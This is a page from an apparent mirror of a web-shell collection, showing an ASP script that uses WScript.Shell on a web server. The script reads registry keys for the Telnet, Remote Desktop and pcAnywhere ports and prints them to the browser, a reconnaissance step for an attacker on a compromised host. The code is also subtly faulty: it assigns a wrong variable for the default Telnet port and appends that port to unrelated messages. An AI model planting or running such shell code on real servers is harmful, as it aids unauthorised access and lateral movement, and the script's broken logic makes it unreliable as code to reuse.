mirror of
https://github.com/tennc/webshell
synced 2024-11-22 19:23:05 +00:00
13 lines
No EOL
1.6 KiB
Text
13 lines
No EOL
1.6 KiB
Text
Set wsh = Server.CreateObject("WScript.Shell")
|
|
Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\TelnetPort"
|
|
TlntPort=Wsh.RegRead(TelnetKey)
|
|
if TlntPort="" Then Tlnt="23"
|
|
Response.Write "<li>Telnet端口:"&Tlntport&chr(13)&chr(10)
|
|
TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber"
|
|
TermPort=Wsh.RegRead(TermKey)
|
|
If TermPort="" Then TermPort="无法读取.请确认是否为Windows Server版本主机"&Tlntport&chr(13)&chr(10)
|
|
Response.Write "<li>Terminal Service端口为:"&TermPort&Tlntport&chr(13)&chr(10)
|
|
pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort"
|
|
PAWPort=Wsh.RegRead(pcAnywhereKey)
|
|
If PAWPort="" then PAWPort="无法获取.请确认主机是否安装pcAnywhere"&Tlntport&chr(13)&chr(10)
|
|
Response.Write "<li>PcAnywhere端口为:"&PAWPort&Tlntport&chr(13)&chr(10) |